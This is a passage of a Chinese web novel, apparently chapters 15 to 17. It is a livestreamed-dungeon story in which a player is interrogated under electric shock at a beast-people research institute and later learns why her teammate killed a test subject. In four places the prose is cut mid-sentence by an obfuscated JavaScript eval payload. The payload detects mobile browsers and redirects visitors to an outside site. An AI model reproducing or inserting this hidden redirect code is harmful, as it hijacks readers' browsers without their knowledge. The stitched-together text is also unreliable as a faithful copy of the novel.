【这个语调,这个语气,太恶心了,真的!像死了八百年的老贵族从棺材里爬出来,拿腔拿调,故作体面。他到底为啥呀,一和新人说话就这个死样子!求解答!】 【哈哈哈,前面应该第一次看艾尼斯副本吧。莱伦老贼就这样,每次试图展现自己魅力的时候,就会又装又端。】 【没错第一次,但还是不理解,这不是在刑讯吗?怎么突然就展示魅力了?】 【那当然是为了勾引玩家?不是。实际上我们也不清楚,自从在王庭篇王后死了后,他就变成这个样子了,并且开始对唐神变得执着。当时我们还以为他不是喜欢唐神就是喜欢王后妮可,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470958|201475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是等曾圣进来后,他也是这副样子,就让人很迷。】 【可能春天(玩家)来了,又到了他开屏的季节。】 …… 不仅弹幕在讨论,在场的其他兽人神情也有点绷不住了,其中雷得和对沈佳人用刑的工作兽人表情变化最大,前者眉头皱得能夹死苍蝇,后者则是张大嘴巴、惊掉下巴。 最淡定的反而是直面莱伦魔法攻击的沈佳人,毕竟这不是她第一次听莱伦这样说话了。 “怎么会没有该死的兽人的呢?”沈佳人反问回去,“那些把王后们关在殿宇里的兽人不该死吗?制造出金丝笼的兽人不该死吗?昏庸享乐的王、玩弄权色的大臣不该死吗?拐卖兽人的拐子、一掷千金的买家不该死吗?” “如果他们不该死,维多利亚点燃的那把火会止于王庭;如果他们不该死,拉克斯提出的温斯法案会在万人投票阶段遭到废弃。如果世上没有该死的兽人,教廷不会预言第三位神明的降世。” 沈佳人语速不快,神情更算得上平静,可所有的兽人都能听得出她话语中暗含的讽刺。 莱伦看着那双棕黑色的眼睛,在强烈的白光照射下呈现出一种剔透的琉璃色,因为太剔透了,所以他清楚地捕捉到了她眼中燃烧的火。 那火并不微弱,也说不上猛烈,它就那样静静燃烧着,仿佛永远也不会熄灭,那不是一株无刺玫瑰该有的火,她不是自己想象中的玫瑰。 莱伦突然笑了出来,眼里全是即将得到新玩具的兴奋,“可这和马丁有什么关系呢?难不成你想说他是收到了神明的指示,遵照神的旨意杀害了LC02258实验体吗?” “可神明为什么要这样做呢?你又有什么证据能证明马丁的所作所为并非出于私心呢?” 沈佳人依旧被缚在电椅上,浑身上下只有头能动,她歪了一下头,不解地问道:“关于这件事,我想莱伦教授您应该比我更清楚吧。” “您不是私藏了四具神仆的尸体吗?在场所有的兽人还有谁能比您更清楚,神仆与普通兽人的不同之处呢?” “露丝!”雷得拍桌站起,“你在胡说些什么!什么神仆的尸体?你知不知道,你这样说会给研究院带来多大的麻烦!” 议会和教廷都可等着揪研究院的小辫子,如果这话传出去,研究院又要面临一番腥风血雨了。 沈佳人表情无辜,“我只是实话实说而已。” “你!你!”雷得被气得说不出话来,反倒是一旁沉默的多可,一改沉默,问她有什么证据。 这话问在沈佳人的心坎上,“机械移植,机械移植就是证据。” “不然,为什么研究院的机械移植技术那么成熟,那都建立在神仆开膛破腹的无私奉献上。” 多可没有继续往下问,反而转头望向莱伦,“教授,你以为呢?” 她态度恭敬谦卑,眼神除了开头直视了一下莱伦,剩下全部的时间都落在莱伦前方的桌面上,尽显下属姿态。 但,多可真有看起来这么老实吗? 不知怎的,沈佳人从多可这句短短的反问句中,听出来一丝别样的意味:她好像很想让莱伦承认,以抓住他的错处。 可为什么呢,这对多可有什么好处吗? 15. 第 15 章 莱伦没有承认,也没有否认,他既没有回答多可,也没有正面回应沈佳人, “不论马丁是不是神仆,他杀害无辜实验体已经是既定事实。研究院内,没有特权。” 他说得冠冕堂皇,仿佛正义女神忒弥斯性转版再临。 【唔,新人是想利用第三位神明的预言救队友吗?可惜,莱伦是个油盐不进的主。】 【其实这步棋走得还行,如果碰上的是其他兽人,这个类人可能就当场释放了,但莱伦不仅反教廷、不信神,甚至他还想渎神,用神明之类的压他没有用。】 【那该怎么办?新人不会刚进副本就痛失队友吧,不要呀!没有队友,谁关键时刻给她挡刀啊!没有队友,我该怎么看直播啊!】 【哈哈哈我看你哪是心疼新人痛失队友,明明就是想要高清流畅的直播!】 【所以新人该怎么办?说起来她根本就是无妄之灾吧,这事本来就是莱伦做错了,把无辜的新人卷了进来。】 【没办法,谁叫莱伦是研究院的土皇帝呢,整个研究院,他说了算。即使这事做错了,事后也可以说为了还实验体一个真相。这就是拥有解释权的力量。】 【不过这里还有一个问题,那就是莱伦为什么非要通过威胁新人来让马丁招供,明明他可以直接给马丁上刑的。】 【对对对,莱伦像是故意针对新人,而且是从一开始就针对她,我都有点怀疑……】 …… 弹幕讨论得激烈,但什么办法也没给出来。 因为艾尼斯帝国政教合一,议会、教廷并治,沈佳人本来想以神明授意帮越山脱罪,然后再揭露自己“神明”的身份,但根据弹幕来看,如果她站出来表露“神明”身份,才是真正的羊入虎口。 那她该怎么救越山呢? 难道只剩下请愿这条路了吗?在正式结果公示期间,如果有超过一半的兽人认为处决不公,那么就会发起公投判决。公投时若认为越山无罪的票数超过三分之二,那越山就会无罪释放。 可这个方法难度太大了,完美研究院内实验体和工作人员的占比约为6:4,越山杀害的对象又是实验体,即使全部的工作人员都进行请愿也不够公投判决的票数。 更何况,越山身为守愿员,没有尽到安抚、照看实验体的职责,反倒杀害了他,这本身就是渎职,能有一半的工作人员为他请愿都算好的。 除非越山有天大的委屈,否则请愿的可能性基本为零。 事情又回到了起点,破局的关键在于越山到底为什么要杀那个实验体啊!他们相识都不超过一星期,能有多大的仇和恨啊! 就在沈佳人想继续从机械移植入手,挑莱伦的错时,越山开口了,“因为他是毫无理智可言的畜生,因为他侮辱我……姐姐。” “不是说每个兽人来到完美研究院都是为了改善缺陷、变得完美吗?那那个畜生是为了变成更完美的畜生吗?” “你们应该看过LC02258实验室的监控了吧,应该知道那个畜生的畜生发言。” 在场只有多可回答了越山,“是的,我们看过,LC02258经常性咒骂研究院以及另一位实验参与者,但监控也显示,LC02258这几天会把你叫到他身旁说话,因为这部分声音太小,我们无法得知你们交谈了什么。” 说到这儿,多可顿了顿,“能告诉我们,你们说了什么吗?” 越山看向莱伦,“它说是一些雄性兽人间特有的交流,这部分我想莱伦教授会比我更清楚。” 而后越山继续往下说,“从第一天起,它就以拉近关系为由,对我说一些贬低另一位实验参与者话语,并且在实验过程中会对另一位参与者施暴,这些我都有在值班日志里写明,并上报给负责的实验员,但我不明白为什么没有得到任何的回应和处理。” “虽然不理解,但我接受。可今天,那个畜生竟然试图掐死另一个实验体,因遭到我和另一位守愿员的制止,而对我们破口大骂。” 多可继续问:“因为被骂,所以你起了杀心?” 越山摇了摇头,“它不是第一天骂我,我一直都是当狗叫,但它不该骂……我姐姐。” 多可问道:“它都骂了些什么呢?” 沈佳人没想到,多可竟然是这场审问的主审官。 正当她准备继续听下去时,她又被请出去了。因为越山说,除非她出去,否则他不会说。 所以她来这一趟的意义就是被电一场,然后半自爆吗? 令人惊讶的是,被赶出来的不止她,她出来没多久,莱伦连同那位给她施加电刑的雄性兽人也被赶出来。 现在审讯室里只有四个人,多可、雷得、越山和负责记录的雌性。 瞥见沈佳人眼里的惊讶,莱伦轻笑一声,他对那雄性兽人叮嘱了几句,让其离开,而后一人来到沈佳人面前。 “不用担心,他会被释放的。”他斜靠在墙面上,像是没有骨头似的,“没有任何处罚。” 出了审讯室的莱伦恢复了不正经的样子,看上去吊儿郎当,十分好说话。可沈佳人没有忘记他在审讯室里的样子,目光锐利、不近人情。 她警惕性地后退,莱伦再次笑了,“害怕了?其实……” “他们在聊什么?为什么我不能听,你也不能?”沈佳人打断了他。 莱伦没有立即回答,他似笑非笑望着沈佳人,眼神落在她额角沁出的汗,是刚刚被电的。 他本想问沈佳人是从哪里知道有关神仆尸体的事情,但话到嘴角转了个弯,“疼吗?” 沈佳人蹙着眉看他,她搞不懂莱伦要干什么,但还是依言照答,因为缀在“疼吗”后面的是一个交换,“告诉我疼不疼,我就告诉你,他们在聊什么,还额外附赠我被赶出来的原因。” 她心动了,在面对优惠、打折等一些显而易见的的好处时,她总是很轻易心动。 沈佳人摇了摇头,诚实回答,“在能忍受的范围内。” “是吗?”莱伦的眼神又停在她额角的汗珠上,走廊上亮到刺眼的白炽灯光照在那上面反射出莹润的光,“那就好。” 最后三个字被他咬得又轻又小,像在唇齿间辗转了好几个来回。沈佳人没听清,幸好她没听清,如果她听到了,身上肯定又会被恶心得起鸡皮疙瘩。 莱伦不再看她,转正身体,和沈佳人一起肩并肩,“在聊马丁的杀害动机,而这个动机里涉及了你和另一位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17473058|201475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实验参与者。” “你不能听是因为马丁的要求,马丁之所以这样要求是因为里面有辱骂你的内容,他不想让你听到。你没有做错任何事,不需要也不应该把那些脏话再听一遍。” “而我不能听的原因也很简单,我是雄性兽人,不能参与涉及雌性受害者的任何判决,这不公平。” 沈佳人眉头皱得更紧了,“可是,上次是你来问我如何处置穆德。” 莱伦:“因为我想见你,很少有外形完美无缺的兽人来到研究院,很好奇。” 沈佳人:??? 她接着问出第二个问题,“为什么要电我?我没有做错任何事情。” “因为……”莱伦转头再次看向她额角的汗以及那一小片被汗水浸湿的白皙皮肤,“因为,我是一个……卑劣的雄性。” 他纯粹是以审讯之由,来满足自己见不得光的欲望,束缚、电击和喘……息。 其实,他还挺期待沈佳人报复回来的那一天,用同样的方法,报复他吧,报复他吧,报复他吧。 “呼——” 莱伦突如其来的大喘气让沈佳人后退起码三步,他到底有什么毛病?她不想问了,不如去找雷得或者多可。 在沈佳人再次后退之际,莱伦的话让她停住了,“露丝,我很高兴,你来到的是完美研究院,而不是其它地方。这是我的幸运,也是你的幸运。” 他和赛娜说了一样的话,可是她不明白。 她不明白的事情太多了,比如赛娜为什么宁愿死都不愿意活,比如她为什么那么幸运,她到底幸运在什么地方,还有发情期,发情期到底是什么? 在沈佳人浅薄的阅读量里,发情期只是一个经常在以abo、兽人为背景的小说世界里出现的设定,一个专门为搞颜色而生的设定,一个带来或痛或爽但以快乐幻想为基调的设定。 “我为什么幸运,因为没有发情期?” 沈佳人将这个不亚于自爆身份的疑问,问出了口。 莱伦歪歪斜斜的身体直起来了,“露丝,不要再说这样的话,只有神明没有发情期。研究院……” 她立即反驳道:“雌性也没有。” 沈佳人发誓,她说这句话不是为了映射什么,也不是通过弹幕了解到了什么,只是根据以往阅读的各种小说,下意识说出了这句话。 毕竟在她看过的所有的abo、兽人小说里,除了女主几乎没有任何雌性或者女性,还有一些她没看过的,里面有时候连女主也没有。 她们或隐形、或毁灭、或被替代。 她们无关紧要,甚至无关紧要已经是她们最好的状态。 你看,即使没有雌性,小说里的世界也照常运转;你看,原世界也是如此,雌性是0的存在。他们将1和0组合起来的10,简单粗暴地归纳成了1+0=1.0。 紧接着,沈佳人遵循莱伦的逻辑,推论出了,“雌性也没有发情期,雌性是神明吗?” 审讯室的门不知何时打开了,站在最前列的多可淡淡说道:“你说错了,雌性也有发情期。” 沈佳人:怎么可能??? 没有存在感的她们怎么会有发情期?就连女主有时候也没有。 16. 第 16 章 看到多可平淡又肯定的表情,沈佳人想自己可能说错话了,但没想到多可轻易为她找了个借口,“雷得,我想你应该给她一些有关艾尼斯帝国常识的书籍来读,她可能是被拐子关太久,脑子都关傻了,忘掉了很多事。” 雷得双手插兜,回道:“看出来了,是有点不太正常。” 她们一唱一和,轻轻松松为她戴上了失忆、脑子傻的帽子。 沈佳人:…… 临走前,莱伦伸手擦去了沈佳人额角那晃眼的汗,“露丝,你要记住,只有神明没有发情期,而研究院内没有神明。” 沈佳人一个头两个大,和她同样困惑的,还有弹幕。 【莱伦老贼到底在说什么,怎么神神叨叨的?是我太久没来了吗?】 【我第一次看这个副本世界的直播,这不是兽人吗?为什么一个两个兽化特征都不明显?】 【因为这是完美研究院啊!如果研究院内的兽人兽化特征十分明显的话,那研究院也不用开了。】 【不是,不是这个问题,总之很奇怪,里面的兽人,和我认知中的不一样。他们很和谐有序。】 【比起这些,更奇怪的是莱伦那些兽人对新人的态度吧,有点过于友好了吧,前两个副本里的莱伦可不是这样的。】 【前面没看全吧,莱伦之所以能成为老贼,就是他永远会在你想不到的地方给你来上一下子。就像我家唐神和妮可,可怜的小情侣出宫还没过上几天好日子,就被莱伦拆得阴阳两隔呜呜呜呜……】 【我反而觉得新人有些不对劲,一点也没有紧迫感,这不是一个新人该有的表现。】 【一直在蹲直播的我表示,其实新人不是没有紧迫感,而是她一开始就想选择苟,利用温斯的被动保护机制通关,可谁承想半路遇到了多可。】 【赞同,虽然新人的情绪十分美味,但她更适合D级的副本,不知道温斯怎么搞的,把她匹配到了这里来。】 …… 沈佳人看弹幕看得入迷,直到莱伦他们都走了,越山轻轻碰了下她的胳膊,她才回过神来。 越山:“该走了。” 沈佳人哦了一声,和越山回了志愿者公寓。 等他们到404号时,是下午五点五十,快到下班时间了,沈佳人给沈嘉钰发去消息,告诉他越山没事,顺便让他捎个饭。 对此,沈嘉钰当然没有拒绝。 发完消息后,沈佳人望向过分安静的越山。 “到底发生了什么?” “你罚我吧。” 两人的声音同时响起,越山愣了一下,他没有回答沈佳人的问题,而是又执拗地重复了一遍,让沈佳人罚他。 沈佳人很无语,她要怎么罚?她又没有暴力倾向。 不愿意说就不愿意说吧,虽然莱伦和弹幕都向她透露了一些信息,越山因为她被辱骂才动手杀了那个实验体,但,真是这样吗? 就像她对赛娜,她之所以那么难受,除了为赛娜遭遇的一切感到不公与愤怒,更重要的是,赛娜让她想到了童年好友崔莹。 而越山,坦白来讲,她认为自己对越山并不重要,他怎么可能会因为那个实验体对她说了几句难听的话就暴起。 暴打有可能,但暴杀不至于。 于是,沈佳人说道:“不想说就不说,我也不会罚你,只是下次不要这么冲动了。” 说完,她就点开雷得给她发的艾尼斯帝国常识大全,为什么进个副本,她的学习量都远超外面了,她都怀疑自己进副本不是来通关来了,而是进修来了。 可她不问了,越山又坐不住了。 他讨厌沈佳人,他讨厌她不像一个正常人类,如果她如其他人类一样,就好了。 这样他就可以理直气壮、光明正大地讨厌她,而不是像现在这样,萌生出抱歉、想要倾诉的想法。 “我姐姐……” 沈佳人被越山的突然出声吓了一跳,他姐姐不就是我吗? “我姐姐是唐水,也就是维多利亚。” 越山这么一说,沈佳人就明白了,他为什么明里暗里建议她采用欢唐水的闯关方式,原来唐水是他姐姐。 “因为妈妈和爸爸分开的缘故,我们之间的关系算不上太好,冷漠、疏离。除了每年的交付日,我们几乎不见面。” 在看到沈佳人略显疑惑的表情后,他又补充道: “交付日就是人类和类人离婚后,在类人还未找到新伴侣前,人类需要负责对方要用的凯温斯,每年一交,当面交付。” 然后他又接着往下说:“妈妈无力负担两个人的凯温斯,所以姐姐有时候也会制作一些。” 这个沈佳人倒是知道,平行世界的家庭多以四口为主,其原因就是防止失血过多。 虽然也可以在外购买凯温斯,但几乎不会有人这样做,一是价格高昂,二是出于某种传统观念,在平行世界的人们看来,如果一个家庭里还有人类,但家里的类人却花大价钱购买凯温斯,那只能说明这个家的人类不行,或者这个类人有背叛之心。 “或许也是这个原因,姐姐一直以来都不太喜欢我,不喜欢类人。” “可我……” 越山明显一顿,沈佳人适时接话,“可你很喜欢唐水,对吗?” 越山摇了摇头,“比起喜欢,更多的是崇拜。” “她很厉害,不仅头脑聪明,体能也远超同龄的类人。她学什么都轻松,干什么都有趣。拿第一,对她来说,不过是家常便饭。” “她像拥有蓬勃的力量,没有什么能难倒她,也没有什么是她做不到的。” 沈佳人静静听着越山对唐水的夸赞,能听出来他很崇拜她,变着花样的夸。 当然比越山更夸张的是弹幕,当越山提到唐水的时候,她眼前的弹幕就变成了应援弹幕,一排一排十分整齐。 包括但不限于: 简单的词语排列:【唐神!唐神!唐神!】; 粉丝应援类:【唐神勇敢飞,冰糖永相随!】; 颇具王霸之气的中二口号:【唐神一出,谁与争锋!】、【唐神唐神,星网最强!】 以及直叙胸臆的【啊啊啊啊啊啊唐神!】 沈佳人没有打断越山的话,而是充当一个合格的倾听者,等越山把能夸的都夸完了一遍后,来到了最重要的转折。 “之前她对我只能称得上冷漠,但从实习副本出来后,她就变了,她非常非常厌恶我,厌恶到我能看到她眼里的恨。” “我不懂为什么,去求了妈妈要来了录像。” 这次不用越山解释,她就知道这录像是什么。 所有出副本的人在出副本后需要提交一份通关报告, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“当然有关系,因为姐姐把那群雄性看做是类人的人类版。”越山的情绪稍微有些激动,“可类人怎么会是雄性兽人,他们是畜生,而我们是类人。” 怪不得,在赛娜提起维多利亚是雄性时,越山反应那么大,因为他知道唐水对雄性兽人的仇视。 不过,沈佳人倒是觉得唐水这个想法情有可原,因为她也这么想的,类人在一定程度上相当于原世界的男性,艾尼斯帝国的雄性。 可…… “这和你杀实验体有什么关系?”沈佳人又重复了一遍。 她没有质问,也没有逼迫,甚至语气过分温柔。 “因为它说,我和它是同类。” 越山抬眼看向沈佳人,他眉骨微沉,那双冰蓝的眸子里有深切的厌恶在翻涌。 她能看出他的抵触,也没有错过他在说到同类二字,微垂的眼睫。 他认同了它的话? 越山竟然认同??? “它说了什么?”沈佳人立马开口,“它说了什么,让你觉得你和它是同类?” 她不解,她疑惑,但越山却怎么也不肯开口,他甚至连看都不敢看她。 他要怎么告诉她,相较前几天,今天它说的话可以算得上温和,可能过于温和,以至于他放松了警惕。 他在它的话语里想象了她…… 侮辱“姐姐”的不是它,而是他…… 姐姐说得没错,当类人成为人类,他会变成它的同类…… 17. 第 17 章 面对沈佳人的追问,越山选择避而不谈。 他回避的态度更加激起她的好奇心,可她没有读心术,也不是莱伦,除了一个劲的追问,别无他法。 僵持的气氛被回来的沈嘉钰打破,他细细追问这期间发生的事情,在听到沈佳人被越山连累叫去审讯室时,脸色变得十分难看。 他上前一步,把越山推了个趔趄。 沈嘉钰一副要和越山大干一场的架势,让沈佳人没了探究的心思,只得安抚一点就炸的哭包。 或许是因为刚才吐露了很多和姐姐相关的事情,越山竟说出了以往不会说的话,“你们关系真好。” 话是对着沈嘉钰说,但看的却是沈佳人。 他这话明显把沈嘉钰说高兴了,他假模假样挥了两下拳头,警告越山,再有下次他真的会揍上去。 三人坐下吃饭,样式还是之前几样,蘑菇浓汤、烤肉排、蔬菜沙拉和白面包,全是沈佳人之前说过好吃的食物。 沈嘉钰清楚地了解姐姐的口味,她喜欢反复吃自己喜欢吃的东西,直到吃到厌烦。 说是三人一起吃饭,其实是沈佳人吃,沈嘉钰和越山两人边看她吃边随便吃几口。 他们尝不出味道,也不需要进食,但看沈佳人吃饭或者人类吃饭是一件愉悦的事情,就像看吃播一样,虽然自己吃不到,但能感受到那份吃饭的快乐。 可是这次的沈佳人在吃饭时,明显没有之前那么开心。 越山想,是因为自己没有告诉她原因吗? 沈嘉钰想的比较简单,可能姐姐不喜欢吃了,下次要不要换换样式。 而沈佳人只是在想越山刚刚说的那句话,他说,她和沈嘉钰的关系好。 实际上,她和原世界的沈嘉钰关系并不好,她很讨厌原世界的沈嘉钰。 她对他的讨厌不是从发现他们不是龙凤胎开始,也不是从妈妈把她送给姑姑开始,而是从见到沈嘉钰这个名字起慢慢积累。 在和他上一个学校之前,她都傻傻的认为,他们名字中间的“佳”是同一个字。 毕竟他们是龙凤胎,虽然中间分开过一段时间,但也是龙凤胎啊! 所以,为什么名字中间的字会不一样呢? 这个问题在她心里埋藏了整整半年,在经过一个秋冬的发酵后,她终于鼓足勇气想开口问妈妈的时候,沈嘉钰一句简单的抱怨把这稀薄的勇气彻底吹散。 “为什么姐姐名字笔画这么简单,我就多的要命,每次考试写名字都烦死了,时间根本来不及。” 妈妈当时是怎么回答来着?因为他们是“嘉”字辈,因为她的名字取自“北方有佳人”,因为她是女孩子,可以不用那么讲究,同音就可以了,所以她成了沈佳人。 可她也想拥有笔画复杂的名字,她也想成为父母心中美丽的珍宝,而不是北方的佳人。 不是常说名字是父母给予的最美好的祝福吗?为什么落到她身上就是最深切的诅咒? 初中三年,她因为这个名字遭遇了三年的语言霸凌。 他们说她长得一点也不漂亮,配不上这个名字;他们从字典里翻箱倒柜,只为给她起一个配得上的外号,嫫母,相貌丑陋的女子。 升入高中,她和沈嘉钰从同校不同班变成了同班同学,她的名字再次成为班级里的谈资,他们没有给她起难听的外号,而是讨论起了她一直琢磨不透的问题——为什么你们是龙凤胎,但名字中间的字不一样? 当内心的疑问被光明正大的摆到明面上,对沈佳人来说,这是一件十分难堪的事情。 她无法回答这个问题,她只能说不知道。 她都能想到,如果她照本宣科将妈妈的话告诉他们,她会收获怎样可怜的目光。 她不要,不要被可怜,不要被同情,那样才是真正的可怜。 明明她和沈嘉钰是龙凤胎,龙凤胎,龙凤胎! 她没有比沈嘉钰早出生一年或是两年,她只比他早了十分钟!为什么也要受到这种对待?因为答案藏在谜面上吗?沈嘉钰是龙,龙凤胎的龙;而她是凤,龙凤胎的凤? 没有人能给她答案,或者她早已经知道答案,只是不愿承认罢了。 “姐姐,你怎么了?”沈嘉钰将她从回忆里拉了出来。 她知道,他时时刻刻在观察她,时时刻刻都在看她的眼色,他会讨好自己,这些都是原世界的沈嘉钰不会做的事情。 但,他始终不是原世界的沈嘉钰。 从始至终,沈佳人都把两人分得很清,正因为分得清,所以她不会随意对待他,不会冲他发脾气,不会有事没事找他不痛快。 他不是那个沈嘉钰,不是她的“假弟弟”,她要保持礼貌。 “没什么,只是在想能不能趁这个机会调去融合部。” 现在他们只剩下融合部的情况不知道了。 “姐姐。”沈嘉钰瞧上去有些犹豫,“要不要试一试越山先前的提议?” 他比了一个抹脖子的手势,意为杀掉莱伦,但沈佳人依旧拒绝了。 “为什么?”沈嘉钰问道。 如果是以前的姐姐,她会接受这个提议,哪怕前两次拒绝,但这次一定会接受,因为莱伦的存在会对她造成威胁。 而姐姐是不会把自己置于危险的境地,就像她之前所做的那样:她利用他,杀掉了那个类人。 他能感到在进副本前,姐姐有所转变,但这是正常的,姐姐原本就是时好时坏。 当她觉得你有可利用之处时,会无限地包容你、纵容你;可当她达到她的目的后,又会立马毫不留情地将你丢开。 他以为,姐姐这次转变是因为他有可用之处。 沈嘉钰认为自己对姐姐足够了解,不然也不会在咨询前精准发现姐姐有“抛弃”他的意向,并成功阻止了她。 他知道,那个时候的她起了“抛弃”的心思,不然也不会故意和以前一样讥讽他尝不到食物的味道。 可他搞不懂,为什么姐姐现在依旧拒绝杀掉莱伦的提议,明明莱伦已经展现他的危险,他可以随时随地伤害姐姐,甚至以及伤害了她,就像当初的那个类人。 “即使莱伦死了,我们也无法通关。”沈佳人平静道:“就像唐水和曾幸星,救出王后、逃脱囚笼,只是任务的表象。” “找到表象产生的根源并铲除,才有通关的可能。” 越山用她曾经用来反驳他的话,来反驳她,“可这只是B级 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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一进研究院,多可反复提及的就是改善缺陷、变得完美,而在进行咨询时,多可曾说过他看起来十分完美,也就是说他的样子符合完美物种的定义。 “没错!现在研究院在外形改造方面已经十分成熟。除了像……”沈佳人顿了顿,“像赛娜那种极端情况,几乎来到研究院的兽人们都能去掉外在的兽化特征,高度近似人类。” 这也是为什么在研究院里,沈佳人很少感到不适,因为他们的兽化特征几近于无,比平行世界更像原世界。 “但人类和兽人除了外表的不同,还有一点也不一样——人类没有发情期。” “也就是说,我们只要解决兽人的发情期问题就能通关。”沈嘉钰问道,“可是我们既不是生物学家也不是兽医,该怎么解决兽人的发情期问题呢?” 越山则是提出了另一个问题:“这也不对,如果完美物种是没有发情期的人类,那为什么副本任务会说,这是一项危险的实验呢?” “而且副本要求我们阻止完美物种的诞生,如果我们顺利解决了兽人的发情期问题,那岂不是直接促成了完美物种的诞生吗?” 越山说得没错,如果完美物种是没有发情期的人类,那就和副本任务形成了悖论。 可除了发情期,兽人还有什么别的、她不知道的缺陷吗?